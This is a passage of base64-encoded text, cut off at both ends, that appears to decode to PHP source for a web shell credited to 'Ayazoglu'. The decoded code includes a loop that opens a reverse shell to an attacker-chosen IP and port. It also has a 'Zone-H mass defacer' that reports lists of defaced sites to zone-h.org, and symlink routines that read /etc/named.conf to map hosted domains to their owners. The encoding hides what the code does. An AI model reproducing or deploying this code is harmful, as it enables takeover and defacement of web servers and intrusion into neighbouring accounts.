MwKTsNCmlmICghJHNvY2spIHsNCgllY2hvICIkZXJyc3RyICgkZXJybm8pIjsNCglleGl0KDEpOw0KfQ0KDQoNCiRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KA0KICAgMCA9PiBhcnJheSgicGlwZSIsICJyIiksICANCiAgIDEgPT4gYXJyYXkoInBpcGUiLCAidyIpLCAgDQogICAyID0+IGFycmF5KCJwaXBlIiwgInciKSAgIA0KKTsNCg0KJHByb2Nlc3MgPSBwcm9jX29wZW4oJHNoZWxsLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7DQoNCmlmICghaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7DQoJZWNobyAiRVJST1I6IENhbid0IHNwYXduIHNoZWxsPGJyPiI7DQoJZXhpdCgxKTsNCn0NCg0KDQpAc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMF0sIDApOw0KQHN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzFdLCAwKTsNCkBzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1syXSwgMCk7DQpAc3RyZWFtX3NldF9ibG9ja2luZygkc29jaywgMCk7DQoNCmVjaG8gIlN1Y2Nlc3NmdWxseSBvcGVuZWQgcmV2ZXJzZSBzaGVsbCB0byAkaXA6JHBvcnQ8YnI+IjsNCg0Kd2hpbGUgKDEpIHsNCglpZiAoZmVvZigkc29jaykpIHsNCgkJZWNobyAiRVJST1I6IFNoZWxsIGNvbm5lY3Rpb24gdGVybWluYXRlZDxicj4iOw0KCQlicmVhazsNCgl9DQoNCglpZiAoZmVvZigkcGlwZXNbMV0pKSB7DQoJCWVjaG8gIkVSUk9SOiBTaGVsbCBwcm9jZXNzIHRlcm1pbmF0ZWQ8YnI+IjsNCgkJYnJlYWs7DQoJfQ0KDQoJDQoJJHJlYWRfYSA9IGFycmF5KCRzb2NrLCAkcGlwZXNbMV0sICRwaXBlc1syXSk7DQoJJG51bV9jaGFuZ2VkX3NvY2tldHM9QHN0cmVhbV9zZWxlY3QoJHJlYWRfYSwgJHdyaXRlX2EsICRlcnJvcl9hLCBudWxsKTsNCg0KCWlmIChpbl9hcnJheSgkc29jaywgJHJlYWRfYSkpIHsNCgkJaWYgKCRkZWJ1ZykgZWNobyAiU09DSyBSRUFEPGJyPiI7DQoJCSRpbnB1dD1mcmVhZCgkc29jaywgJGNodW5rX3NpemUpOw0KCQlpZiAoJGRlYnVnKSBlY2hvICJTT0NLOiAkaW5wdXQ8YnI+IjsNCgkJZndyaXRlKCRwaXBlc1swXSwgJGlucHV0KTsNCgl9DQoNCglpZiAoaW5fYXJyYXkoJHBpcGVzWzFdLCAkcmVhZF9hKSkgew0KCQlpZiAoJGRlYnVnKSBlY2hvICJTVERPVVQgUkVBRDxicj4iOw0KCQkkaW5wdXQgPSBmcmVhZCgkcGlwZXNbMV0sICRjaHVua19zaXplKTsNCgkJaWYgKCRkZWJ1ZykgZWNobyAiU1RET1VUOiAkaW5wdXQ8YnI+IjsNCgkJZndyaXRlKCRzb2NrLCAkaW5wdXQpOw0KCX0NCg0KCQ0KCWlmIChpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKSB7DQoJCWlmICgkZGVidWcpIGVjaG8gIlNUREVSUiBSRUFEPGJyPiI7DQoJCSRpbnB1dCA9IGZyZWFkKCRwaXBlc1syXSwgJGNodW5rX3NpemUpOw0KCQlpZiAoJGRlYnVnKSBlY2hvICJTVERFUlI6ICRpbnB1dDxicj4iOw0KCQlmd3JpdGUoJHNvY2ssICRpbnB1dCk7DQoJfQ0KfQ0KDQpmY2xvc2UoJHNvY2spOw0KZmNsb3NlKCRwaXBlc1swXSk7DQpmY2xvc2UoJHBpcGVzWzFdKTsNCmZjbG9zZSgkcGlwZXNbMl0pOw0KcHJvY19jbG9zZSgkcHJvY2Vzcyk7DQoNCmVjaG8gIjwvcHJlPiI7DQp9DQoNCn0gICANCiBlY2hvICI8L2Rpdj4iOw0KIG1hZGZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gWm9uZUgoJHVybCwgJGhhY2tlciwgJGhhY2ttb2RlLCRyZXNvbiwgJHNpdGUgKQ0Kew0KCSRrID0gY3VybF9pbml0KCk7DQoJY3VybF9zZXRvcHQoJGssIENVUkxPUFRfVVJMLCAkdXJsKTsNCgljdXJsX3NldG9wdCgkayxDVVJMT1BUX1BPU1QsdHJ1ZSk7DQoJY3VybF9zZXRvcHQoJGssIENVUkxPUFRfUE9TVEZJRUxEUywiZGVmYWNlcj0iLiRoYWNrZXIuIiZkb21haW4xPSIuICRzaXRlLiImaGFja21vZGU9Ii4kaGFja21vZGUuIiZyZWFzb249Ii4kcmVzb24pOw0KCWN1cmxfc2V0b3B0KCRrLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOw0KCWN1cmxfc2V0b3B0KCRrLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsNCgkka3VicmEgPSBjdXJsX2V4ZWMoJGspOw0KCWN1cmxfY2xvc2UoJGspOw0KCXJldHVybiAka3VicmE7DQp9DQpmdW5jdGlvbiBtYWR6b25laCgpDQp7DQogICAgbWFkaGVhZCgpOw0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKQ0KICAgIHsNCiAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz48Y2VudGVyPjxmb250IGNvbG9yPXJlZD5QSFAgQ1VSTCBOT1QgRVhJVDwvZm9udD48L2NlbnRlcj48L3ByZT4iOw0KICAgIH0NCiAgICBlY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxicj4iOw0KICAgIGVjaG8gJzxoMz48c3Bhbj58Wk9ORS1IIE1BU1MgREVGQUNFUiB8PC9zcGFuPjwvaDM+DQogICAgPGZvcm0gIG9uU3VibWl0PSJnKG51bGwsbnVsbCx0aGlzLmRlZmFjZXIudmFsdWUsdGhpcy5oYWNrbW9kZS52YWx1ZSx0aGlzLmRvbWFpbi52YWx1ZSk7cmV0dXJuIGZhbHNlOyIgPg0KICAgIDxzcGFuPnwgTm90aWZpZXIgfDwvc3Bhbj48YnI+DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT1kZWZhY2VyIHNpemU9IjQwIiB2YWx1ZT0iQXR0YWNrZXIiIC8+PGJyPg0KPHNlbGVjdCBuYW1lPWhhY2ttb2RlPg0KPG9wdGlvbiA+LS0tLS0tLS1TRUxFQ1QtLS0tLS0tLTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMSI+a25vd24gdnVsbmVyYWJpbGl0eSAoaS5lLiB1bnBhdGNoZWQgc3lzdGVtKTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMiIgPnVuZGlzY2xvc2VkIChuZXcpIHZ1bG5lcmFiaWxpdHk8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMiID5jb25maWd1cmF0aW9uIC8gYWRtaW4uIG1pc3Rha2U8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjQiID5icnV0ZSBmb3JjZSBhdHRhY2s8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjUiID5zb2NpYWwgZW5naW5lZXJpbmc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjYiID5XZWIgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNyIgPldlYiBTZXJ2ZXIgZXh0ZXJuYWwgbW9kdWxlIGludHJ1c2lvbjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iOCIgPk1haWwgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iOSIgPkZUUCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMCIgPlNTSCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMSIgPlRlbG5ldCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMiIgPlJQQyBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMyIgPlNoYXJlcyBtaXNjb25maWd1cmF0aW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxNCIgPk90aGVyIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE1IiA+U1FMIEluamVjdGlvbjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTYiID5VUkwgUG9pc29uaW5nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxNyIgPkZpbGUgSW5jbHVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxOCIgPk90aGVyIFdlYiBBcHBsaWNhdGlvbiBidWc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE5IiA+UmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBicnV0ZWZvcmNpbmc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjIwIiA+UmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBwYXNzd29yZCBndWVzc2luZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjEiID5SZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIHNvY2lhbCBlbmdpbmVlcmluZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjIiID5BdHRhY2sgYWdhaW5zdCBhZG1pbmlzdHJhdG9yKHBhc3N3b3JkIHN0ZWFsaW5nL3NuaWZmaW5nKTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjMiID5BY2Nlc3MgY3JlZGVudGlhbHMgdGhyb3VnaCBNYW4gSW4gdGhlIE1pZGRsZSBhdHRhY2s8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjI0IiA+UmVtb3RlIHNlcnZpY2UgcGFzc3dvcmQgZ3Vlc3Npbmc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjI1IiA+UmVtb3RlIHNlcnZpY2UgcGFzc3dvcmQgYnJ1dGVmb3JjZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjYiID5SZXJvdXRpbmcgYWZ0ZXIgYXR0YWNraW5nIHRoZSBGaXJld2FsbDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjciID5SZXJvdXRpbmcgYWZ0ZXIgYXR0YWNraW5nIHRoZSBSb3V0ZXI8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjI4IiA+RE5TIGF0dGFjayB0aHJvdWdoIHNvY2lhbCBlbmdpbmVlcmluZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjkiID5ETlMgYXR0YWNrIHRocm91Z2ggY2FjaGUgcG9pc29uaW5nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIzMCIgPk5vdCBhdmFpbGFibGU8L29wdGlvbj4NCjwvc2VsZWN0Pjxicj4NCjxzZWxlY3QgID4NCjxvcHRpb24gPk5vdCBhdmFpbGFibGU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEiID5IZWguLi5qdXN0IGZvciBmdW4hPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyIiA+UmV2ZW5nZSBhZ2FpbnN0IHRoYXQgd2Vic2l0ZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMyIgPlBvbGl0aWNhbCByZWFzb25zPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0IiA+QXMgYSBjaGFsbGVuZ2U8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjUiID5JIGp1c3Qgd2FudCB0byBiZSB0aGUgYmVzdCBkZWZhY2VyPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI2IiA+UGF0cmlvdGlzbTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNyIgPk5vdCBhdmFpbGFibGU8L29wdGlvbj4NCjwvc2VsZWN0Pjxicj4NCjx0ZXh0YXJlYSBuYW1lPWRvbWFpbiBjb2xzPSI1MCIgcm93cz0iMTUiPkxpc3QgT2YgRG9tYWluczwvdGV4dGFyZWE+DQo8YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPj4iIC8+PC9mb3JtPic7DQppZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmIGlzc2V0KCRfUE9TVFsncDInXSkpDQp7DQogICAgJGhhY2tlciA9JF9QT1NUWydwMSddOw0KICAgICRtZXRob2QgPSRfUE9TVFsncDInXTsNCiAgICAkbmVkZW4gPSJOb3QgYXZhaWxhYmxlIjsNCiAgICAkc2l0ZSA9JF9QT1NUWydwMyddOw0KICAgJGkgPSAwOw0KICAgJHNpdGVzID0gZXhwbG9kZSgiXG4iLCAkc2l0ZSk7DQogICBlY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiI7DQoJd2hpbGUoJGkgPCBjb3VudCgkc2l0ZXMpKSANCgl7DQoJaWYoc3Vic3RyKCRzaXRlc1skaV0sIDAsIDQpICE9ICJodHRwIikgDQoJew0KCQkJJHNpdGVzWyRpXSA9ICJodHRwOi8vIi4kc2l0ZXNbJGldOw0KCX0NCglab25lSCgiaHR0cDovL3pvbmUtaC5vcmcvbm90aWZ5L3NpbmdsZSIsICRoYWNrZXIsICRtZXRob2QsICRuZWRlbiwgJHNpdGVzWyRpXSk7DQoJZWNobyAiU2l0ZSA6ICIuJHNpdGVzWyRpXS4iIERlZmFjZWQgITxicj4iOw0KCSsrJGk7DQoJfQ0KICAgICANCiAgICAiU2VuZGluZyBTaXRlcyBUbyBab25lLUggSGFzIEJlZW4gQ29tcGxldGVkIFN1Y2Nlc3NmdWxseSAhISA8L3ByZT4iOw0KfQ0KZWNobyAiPC9kaXY+IjsNCm1hZGZvb3RlcigpOw0KICAgIA0KfQ0KZnVuY3Rpb24gbWFkc3BvdCgpDQp7DQogICAgbWFkaGVhZCgpOw0KICAgIGVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPiI7DQogICAgZWNobyAiPHByZT4NCiAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHxgLTpfDQogICwtLS0tLi4uLl9fX18gICAgICAgICAgICB8ICAgIGArLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogKCAgICAgICAgICAgICBgYGBgLS0tLS4uLi58X19fICAgfA0KICBcICAgICBfICAgICAgICAgICAgICAgICAgICAgIGBgYGAtLS0tLi4uLl9fX18NCiAgIFwgICAgXykgIENvZGVkIEJ5OiBBeWF6b2dsdSAgICAgICAgICAgICAgICBgYGAtLS0uLl8gICAgICAgICAgICAgICAgICAgICAgIA0KICAgIFwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIA0KICApYC5cICApYC4gICApYC4gICApYC4gICApYC4gICApYC4gICApYC4gICApYC4gICApYC4gICApYC4gICApaGgNCi0nICAgYC0nICAgYC0nICAgYC0nICAgYC0nICAgYC0nICAgYC0nICAgYC0nICAgYC0nICAgYC0nICAgYC0nICAgYA0KICAgQXlhem9nbHUgaXMgYSBUZWFtIG9mIHByb2Zlc3Npb25hbCBFdGhpY2FsIEhhY2tlcnMgRnJvbSBUdXJrZXkuDQogICBXZSBoYXZlIFllYXJzIG9mICBFeHBlcmllbmNlIGluICBTZWN1cml0eSwgUGVuZXRyYXRpb24gJiBDb2RpbmcgDQogICBBbmQgY2FuIEJyZWFrIGFuZCBTZWN1cmUuDQogICANCiAgIFZlcnNpb24gMS4wDQogICANCiAgIENvbnRhY3QgOiBodHRwOi8vd3d3LmF5YXpvZ2x1Lm9yZw0KICAgDQogICBpZiB5b3UgZm91bmQgYnVnIGNvbnRhY3Qgb3VyIHRlYW0gDQogICANCiAgIA0KDQoNCiAgICAgICAgICAgICAgLj0nJz0uICAgICAgICAgICAgIA0KICAgICAgICAgICAgIC8gXyAgXyBcDQogICAgICAgICAgICB8ICBkICBiICB8DQogICAgICAgICAgICBcICAgL1wgICAvIA0KICAgICAgICAgICAsLyctPVwvPS0nXCwNCiAgICAgICAgICAvIC8gICAgICAgIFwgXCAgICAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiAgICAgICAgIHwgLyBBeWF6b2dsdSAgIFwgfCAgICBBeWF6b2dsdSBEaWdpdGFsIFNlY3VyaXR5IFRlYW0NCiAgICAgICAgIFwvIFwgICAgICAgICAvIFwvICAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogICAgICAgICAgICAgJy4gICAgLicNCiAgICAgICAgICAgICBffGB+fmB8Xw0KICAgICAgICAgICAgIC98XCAgL3xcICAgIA0KCQ0KICAgICAgIC4tIDxPPiAtLiAgICAgICAgLi09PT09LS4gICAgICAsLS0tLS0tLS4gICAgICAuLT08Pj0tLg0KICAgL18tXCcnJy8tX1wgICAgICAvIC8gJycgXCBcICAgICB8LC0tLS0tLnwgICAgIC9fXy0tLS1fX1wNCiAgfC8gIG8pIChvICBcfCAgICB8IHwgJykoJyB8IHwgICAvLCctLS0tLScuXCAgIHwvICgnKSgnKSBcfA0KICAgXCAgIC5fLiAgIC8gICAgICBcIFwgICAgLyAvICAge18vKCcpICgnKVxffSAgIFwgICBfXyAgIC8NCiAgICw+LV8sLCxfLTwuICAgICAgID4nPWpmPSc8ICAgICBgLiAgIF8gICAuJyAgICAsJy0tX18tLScuDQogLyBNYXJpbyAgICAgICBcICAgIC8gICAgICAgIFwgICAgIC8nLV9fXy0nXCAgICAvICAgIDp8ICAgIFwNCihfKSAgICAgLiAgICAgKF8pICAvICBBdGVzcyAgIFwgICAvIE0tVXNtYW4gXCAgKF8pICAgOnwgICAoXykNCiBcXy0tLS0tJ19fX18tLS8gIChfKSAgICAgICAgKF8pIChfKV9fX19fX18oXykgICB8X19fOnxfX19ffA0KICBcX19fX19fX19fX18vICAgICB8X19fX19fX198ICAgICBcX19fX19fXy8gICAgIHwgQWZyYXNpYWJ8DQoNCg0KCQ0KICANCiAgDQogICAgPC9wcmU+PC9kaXY+IjsNCiAgICBtYWRmb290ZXIoKTsNCiAgICANCiAgICB9DQogICAgDQpmdW5jdGlvbiBtYWRzeW1saW5rKCkNCnsNCiAgICBtYWRoZWFkKCk7DQogICAgDQokSUlJSUlJSUlJSUlsID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJElJSUlJSUlJSUlJMT1leHBsb2RlKCcvJywkSUlJSUlJSUlJSUlsICk7DQokSUlJSUlJSUlJSUlsID1zdHJfcmVwbGFjZSgkSUlJSUlJSUlJSUkxW2NvdW50KCRJSUlJSUlJSUlJSTEpLTFdLCcnLCRJSUlJSUlJSUlJSWwgKTsgIA0KICAgIA0KICAgIA0KICAgIA0KDQogICBlY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48c2NyaXB0PnAxXz1wMl89cDNfPSIiOzwvc2NyaXB0Pjxicj48Y2VudGVyPjxoMz48YSBocmVmPSMgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLFwnd2Vic2l0ZVwnLG51bGwpIj58IERvbWFpbnMgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxudWxsLFwnd2hvbGVcJykiPnwgV2hvbGUgU2VydmVyIFN5bWxpbmsgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxudWxsLG51bGwsXCdjb25maWdcJykiPnwgQ29uZmlnIFBIUCBzeW1saW5rIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsNCiAgICANCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J3dlYnNpdGUnKQ0KICAgIHsNCiAgICAgICAgZWNobyAiPGNlbnRlcj4iOw0KICAgICAgICAkZDBtYWlucyA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCiAgICAgICAgaWYoISRkMG1haW5zKXsgZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz5DYW50IGFjY2VzcyB0aGlzIGZpbGUgb24gc2VydmVyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF08L3ByZT48L2NlbnRlcj4iOyB9DQoNCiANCg0KZWNobyAiPHRhYmxlIGFsaWduPWNlbnRlciBjbGFzcz0nbWFpbicgIGJvcmRlcj0wICA+DQoNCjx0ciBiZ2NvbG9yPVJlZD48dGQ+Q291bnQ8L3RkPjx0ZD5kb21haW5zPC90ZD48dGQ+dXNlcnM8L3RkPjwvdHI+IjsNCiRjb3VudD0xOw0KDQpmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pew0KDQppZihAZXJlZ2koInpvbmUiLCRkMG1haW4pKXsNCg0KcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCAkZDBtYWluLCAkZG9tYWlucyk7DQoNCmZsdXNoKCk7DQoNCmlmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXsNCg0KJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbnNbMV1bMF0pKTsNCg0KZWNobyAiPHRyPjx0ZD4iLiRjb3VudC4iPC90ZD48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbnNbMV1bMF0uIi8+Ii4kZG9tYWluc1sxXVswXS4iPC9hPjwvdGQ+PHRkPiIuJHVzZXJbJ25hbWUnXS4iPC90ZD48dGQ+PC90cj4iOyBmbHVzaCgpOw0KJGNvdW50Kys7DQp9fX0NCmVjaG8gIjwvY2VudGVyPjwvdGFibGU+IjsgDQogfQ0KIA0KIGlmKGlzc2V0KCRfUE9TVFsncDInXSkgJiYgJF9QT1NUWydwMiddPT0nd2hvbGUnKQ0KIHsNCiAgICANCiAgICANCiAgICBAc2V0X3RpbWVfbGltaXQoMCk7DQogICAgDQogICAgZWNobyAiPGNlbnRlcj4iOw0KICAgIC8vUGFnZXJhbmsNCg0KZnVuY3Rpb24gU3RyVG9OdW0oJFN0ciwgJENoZWNrLCAkTWFnaWMpIA0KeyANCiAgICAkSW50MzJVbml0ID0gNDI5NDk2NzI5NjsgIC8vIDJeMzIgDQoNCiAgICAkbGVuZ3RoID0gc3RybGVuKCRTdHIpOyANCiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7IA0KICAgICAgICAkQ2hlY2sgKj0gJE1hZ2ljOyAgICAgIA0KICAgICAgICAvL0lmIHRoZSBmbG9hdCBpcyBiZXlvbmQgdGhlIGJvdW5kYXJpZXMgb2YgaW50ZWdlciAodXN1YWxseSArLy0gMi4xNWUrOSA9IDJeMzEpLCANCiAgICAgICAgLy8gIHRoZSByZXN1bHQgb2YgY29udmVydGluZyB0byBpbnRlZ2VyIGlzIHVuZGVmaW5lZCANCiAgICAgICAgLy8gIHJlZmVyIHRvIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vbGFuZ3VhZ2UudHlwZXMuaW50ZWdlci5waHAgDQogICAgICAgIGlmICgkQ2hlY2sgPj0gJEludDMyVW5pdCkgeyANCiAgICAgICAgICAgICRDaGVjayA9ICgkQ2hlY2sgLSAkSW50MzJVbml0ICogKGludCkgKCRDaGVjayAvICRJbnQzMlVuaXQpKTsgDQogICAgICAgICAgICAvL2lmIHRoZSBjaGVjayBsZXNzIHRoYW4gLTJeMzEgDQogICAgICAgICAgICAkQ2hlY2sgPSAoJENoZWNrIDwgLTIxNDc0ODM2NDgpID8gKCRDaGVjayArICRJbnQzMlVuaXQpIDogJENoZWNrOyANCiAgICAgICAgfSANCiAgICAgICAgJENoZWNrICs9IG9yZCgkU3RyeyRpfSk7IA0KICAgIH0gDQogICAgcmV0dXJuICRDaGVjazsgDQp9IA0KDQovLy0tPiBmb3IgZ29vZ2xlIHBhZ2VyYW5rIA0KLyogDQoqIEdlbmVhcmF0ZSBhIGhhc2ggZm9yIGEgdXJsIA0KKi8gDQpmdW5jdGlvbiBIYXNoVVJMKCRTdHJpbmcpIA0KeyANCiAgICAkQ2hlY2sxID0gU3RyVG9OdW0oJFN0cmluZywgMHgxNTA1LCAweDIxKTsgDQogICAgJENoZWNrMiA9IFN0clRvTnVtKCRTdHJpbmcsIDAsIDB4MTAwM0YpOyANCg0KICAgICRDaGVjazEgPj49IDI7ICAgICAgDQogICAgJENoZWNrMSA9ICgoJENoZWNrMSA+PiA0KSAmIDB4M0ZGRkZDMCApIHwgKCRDaGVjazEgJiAweDNGKTsgDQogICAgJENoZWNrMSA9ICgoJENoZWNrMSA+PiA0KSAmIDB4M0ZGQzAwICkgfCAoJENoZWNrMSAmIDB4M0ZGKTsgDQogICAgJENoZWNrMSA9ICgoJENoZWNrMSA+PiA0KSAmIDB4M0MwMDAgKSB8ICgkQ2hlY2sxICYgMHgzRkZGKTsgICAgDQogICAgDQogICAgJFQxID0gKCgoKCRDaGVjazEgJiAweDNDMCkgPDwgNCkgfCAoJENoZWNrMSAmIDB4M0MpKSA8PDIgKSB8ICgkQ2hlY2syICYgMHhGMEYgKTsgDQogICAgJFQyID0gKCgoKCRDaGVjazEgJiAweEZGRkZDMDAwKSA8PCA0KSB8ICgkQ2hlY2sxICYgMHgzQzAwKSkgPDwgMHhBKSB8ICgkQ2hlY2syICYgMHhGMEYwMDAwICk7IA0KICAgIA0KICAgIHJldHVybiAoJFQxIHwgJFQyKTsgDQp9IA0KDQovLy0tPiBmb3IgZ29vZ2xlIHBhZ2VyYW5rIA0KLyogDQoqIGdlbmVhcmF0ZSBhIGNoZWNrc3VtIGZvciB0aGUgaGFzaCBzdHJpbmcgDQoqLyANCmZ1bmN0aW9uIENoZWNrSGFzaCgkSGFzaG51bSkgDQp7IA0KICAgICRDaGVja0J5dGUgPSAwOyANCiAgICAkRmxhZyA9IDA7IA0KDQogICAgJEhhc2hTdHIgPSBzcHJpbnRmKCcldScsICRIYXNobnVtKSA7IA0KICAgICRsZW5ndGggPSBzdHJsZW4oJEhhc2hTdHIpOyANCiAgICANCiAgICBmb3IgKCRpID0gJGxlbmd0aCAtIDE7ICAkaSA+PSAwOyAgJGkgLS0pIHsgDQogICAgICAgICRSZSA9ICRIYXNoU3RyeyRpfTsgDQogICAgICAgIGlmICgxID09PSAoJEZsYWcgJSAyKSkgeyAgICAgICAgICAgICAgDQogICAgICAgICAgICAkUmUgKz0gJFJlOyAgICAgIA0KICAgICAgICAgICAgJFJlID0gKGludCkoJFJlIC8gMTApICsgKCRSZSAlIDEwKTsgDQogICAgICAgIH0gDQogICAgICAgICRDaGVja0J5dGUgKz0gJFJlOyANCiAgICAgICAgJEZsYWcgKys7ICAgIA0KICAgIH0gDQoNCiAgICAkQ2hlY2tCeXRlICU9IDEwOyANCiAgICBpZiAoMCAhPT0gJENoZWNrQnl0ZSkgeyANCiAgICAgICAgJENoZWNrQnl0ZSA9IDEwIC0gJENoZWNrQnl0ZTsgDQogICAgICAgIGlmICgxID09PSAoJEZsYWcgJSAyKSApIHsgDQogICAgICAgICAgICBpZiAoMSA9PT0gKCRDaGVja0J5dGUgJSAyKSkgeyANCiAgICAgICAgICAgICAgICAkQ2hlY2tCeXRlICs9IDk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgICRDaGVja0J5dGUgPj49IDE7IA0KICAgICAgICB9IA0KICAgIH0gDQoNCiAgICByZXR1cm4gJzcnLiRDaGVja0J5dGUuJEhhc2hTdHI7IA0KfSANCg0KZnVuY3Rpb24gZmlsZV9nZXRfY29udGVudHNfY3VybCgkdXJsKSB7IA0KICAgICRjaCA9IGN1cmxfaW5pdCgpOyANCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsgDQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgLy9TZXQgY3VybCB0byByZXR1cm4gdGhlIGRhdGEgaW5zdGVhZCBvZiBwcmludGluZyBpdCB0byB0aGUgYnJvd3Nlci4gDQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7IA0KICAgICRkYXRhID0gY3VybF9leGVjKCRjaCk7IA0KICAgIGN1cmxfY2xvc2UoJGNoKTsgDQoNCiAgICByZXR1cm4gJGRhdGE7IA0KfSANCg0KLy9nZXQgZ29vZ2xlIHBhZ2VyYW5rIA0KZnVuY3Rpb24gZ2V0cGFnZXJhbmsoJHVybCkgeyANCiAgICAkcXVlcnk9Imh0dHA6Ly90b29sYmFycXVlcmllcy5nb29nbGUuY29tL3Ricj9jbGllbnQ9bmF2Y2xpZW50LWF1dG8maGw9ZW4mY2g9Ii5DaGVja0hhc2goSGFzaFVSTCgkdXJsKSkuICImZmVhdHVyZXM9UmFuayZxPWluZm86Ii4kdXJsLiImbnVtPTEwMCZmaWx0ZXI9MCI7IA0KICAgICRkYXRhPWZpbGVfZ2V0X2N